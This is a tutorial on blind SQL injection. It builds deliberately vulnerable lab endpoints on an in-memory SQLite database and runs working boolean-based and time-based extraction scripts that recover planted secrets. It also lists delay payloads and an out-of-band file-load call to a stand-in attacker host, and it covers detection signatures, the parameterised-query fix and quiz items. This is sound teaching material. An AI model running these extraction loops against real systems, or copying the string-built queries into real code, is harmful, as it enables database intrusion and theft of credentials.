Blind SQL Injection: Boolean and Time-Based
Hiding database errors and never showing query results on the page does not fix SQL injection; it only makes it blind. If an attacker can make the page behave differently depending on whether a condition is true, they can ask the database yes/no questions: "is the first letter of the admin's password hash greater than m?" Each answer is one bit. A few hundred requests reveal a secret, and tools send them in seconds. When the page doesn't change at all, the attacker makes the response time depend on the condition instead. This lesson extracts a secret through a boolean channel, then through a (simulated) time channel, from an in-memory database the example builds, and shows why the request pattern is easy to spot in logs.
Definitions
- Boolean-based blind: the response differs between a true and a false injected condition (a product shown or "not found", a 200 or a 404, a different length). The attacker appends
AND <condition>. - Time-based blind: no visible difference, so the condition triggers a delay:
pg_sleep(5)in PostgreSQL,SLEEP(5)in MySQL,WAITFOR DELAY '0:0:5'in SQL Server, heavy computations elsewhere. - Inference with binary search: comparing a character's code with a midpoint (
unicode(substr(secret, i, 1)) > 77) halves the candidates each request: about 7 requests per printable ASCII character instead of up to 95. - Out-of-band (OAST): the condition triggers a DNS or HTTP request from the database server to an attacker's host (
LOAD_FILE('\\\\x.attacker\\a')on Windows MySQL,UTL_HTTPin Oracle). Detected by egress monitoring.
Boolean: one bit per request
The vulnerable endpoint is /product?id=<id> and answers only "found" or "not found". The attacker wants the reset_token of user 1, from a table the page never displays. The helper ask() is the attacker's side: it injects a condition and reads one bit from the page.
import sqlite3
db = sqlite3.connect(":memory:")
db.executescript("""
CREATE TABLE products (id INTEGER PRIMARY KEY, name TEXT);
CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT, reset_token TEXT);
INSERT INTO products (id, name) VALUES (7, 'Tea Pot');
INSERT INTO users VALUES (1, 'admin@lab.test', 'k9Fz-lab-only');
""")
requests_sent = 0
def product_page(id_param): # the vulnerable endpoint: errors and rows are hidden
global requests_sent
requests_sent += 1
try:
row = db.execute(f"SELECT name FROM products WHERE id = {id_param}").fetchone()
except sqlite3.Error:
row = None
return "found" if row else "not found"
def ask(condition): # attacker: true/false from the page
return product_page(f"7 AND ({condition})") == "found"
print("7 AND 1=1 ->", product_page("7 AND 1=1"), "| 7 AND 1=2 ->", product_page("7 AND 1=2"))
length = next(n for n in range(1, 65) if ask(f"(SELECT length(reset_token) FROM users WHERE id = 1) = {n}"))
secret = ""
for i in range(1, length + 1):
lo, hi = 32, 126 # printable ASCII, binary search
while lo < hi:
mid = (lo + hi) // 2
if ask(f"(SELECT unicode(substr(reset_token, {i}, 1)) FROM users WHERE id = 1) > {mid}"):
lo = mid + 1
else:
hi = mid
secret += chr(lo)
print(f"length {length}, token {secret!r}, {requests_sent} requests in total")7 AND 1=1 -> found | 7 AND 1=2 -> not found
length 13, token 'k9Fz-lab-only', 103 requests in total
The page never displayed anything but "found" and "not found", yet the token came out byte by byte. The number of requests is the weak spot from the attacker's point of view: dozens to thousands of near-identical requests from one client.
Time: when the page never changes
Some endpoints return the same response whatever the query does, for example a tracking pixel that logs a visit. Then the condition controls a delay. SQLite has no sleep function, so the example registers one that advances a virtual clock instead of sleeping (real time would make the output change between runs, and nobody wants to wait); it stands for pg_sleep or SLEEP.
import sqlite3
db = sqlite3.connect(":memory:")
db.executescript("""
CREATE TABLE visits (page TEXT);
CREATE TABLE settings (name TEXT, value TEXT);
INSERT INTO settings VALUES ('smtp_password', 'lab-mail-7');
""")
clock = 0.0
def fake_sleep(seconds):
global clock
clock += seconds
return 0
db.create_function("sleep", 1, fake_sleep)
def track(page): # vulnerable: always answers 204, whatever happens
global clock
clock += 0.02 # normal processing time
try:
db.execute(f"INSERT INTO visits (page) SELECT '{page}'")
except sqlite3.Error:
pass
return 204
def timed(condition):
start = clock
track(f"home' WHERE CASE WHEN ({condition}) THEN sleep(2) ELSE 0 END = 0 --")
return clock - start
print("true condition: %.2f s" % timed("1=1"))
print("false condition: %.2f s" % timed("1=2"))
first = next(c for c in "abcdefghijklmnopqrstuvwxyz" if timed(
f"(SELECT substr(value, 1, 1) FROM settings WHERE name = 'smtp_password') = '{c}'") > 1)
print("first character of the SMTP password:", first)
print("visits logged (the page still works):", db.execute("SELECT COUNT(*) FROM visits").fetchone()[0])true condition: 2.02 s
false condition: 0.02 s
first character of the SMTP password: l
visits logged (the page still works): 14
A two-second difference is a bit. Time-based extraction is slow (seconds per bit) and noisy over real networks, so tools repeat measurements, but it works against endpoints that reveal nothing else.
How blind injection is detected
- Request patterns: the same parameter with a growing position (
substr(…, 1, 1),…, 2, 1), …) and a changing comparison value, hundreds of times from one client. Rate-based alerts on one endpoint catch it even when the payload is obfuscated. - Payload signatures in logs and WAFs:
AND 1=1/AND 1=2pairs,substr(,ascii(,unicode(,SLEEP(,pg_sleep,WAITFOR DELAY,BENCHMARK(,CASE WHEN. - Timing: requests to one endpoint that take exactly the normal time plus a round number of seconds; slow-query logs on the database showing
sleepcalls. - Egress: database servers making DNS or HTTP requests to unknown hosts (out-of-band).
- Testing (in scope): send
id=7 AND 1=1andid=7 AND 1=2and compare responses; then a short delay payload, comparing with a baseline.
How it is fixed
The same fix as every SQL injection: parameters. With db.execute("SELECT name FROM products WHERE id = ?", (id_param,)), the value 7 AND (…) is not a number and matches nothing, and the track insert stores the attacker's string as a page name. On top: validate types early (int(id_param) → 400 on failure), give the account no access to users or settings, rate-limit, and alert on the patterns above.
Pitfalls
- "We return the same page for every error, so we're safe." Same page, different timing or length, is still a channel.
- Fixing only
SELECTs: the time-based example injected into anINSERTused for analytics, a path rarely reviewed. - Caching layers can hide or create differences; test with cache-busting parameters.
Practice
1. How many requests does binary search need for a 32-character hex token, at most?
Each hex character has 16 values, so 4 comparisons; with the ASCII range 32–126 used above, 7. Plus about 32 for the length check by linear search (or 6 by binary search): roughly 32 × 4 + 6 = 134 with a hex-aware search.
2. Rewrite track safely.
db.execute("INSERT INTO visits (page) VALUES (?)", (page,)), plus a length limit on page. The injected CASE WHEN … sleep(2) is then stored as text and never runs.
Test yourself
What does each boolean-blind request reveal?
- A whole row
- One bit: whether the injected condition was true
- The schema
- Nothing
Why does binary search speed up extraction?
- It uses UNION
- Each comparison halves the remaining candidates, about 7 requests per printable character
- It avoids the WAF
- It needs no requests
Which log pattern is the strongest sign of blind SQLi?
- One request with a quote
- Hundreds of near-identical requests to one parameter with substr positions and comparison values changing
- A 404
- A slow image
The app hides errors and always returns 204. Is a string-built query in it still exploitable?
- No
- Yes, through timing (time-based blind)
- Only with UNION
- Only on MySQL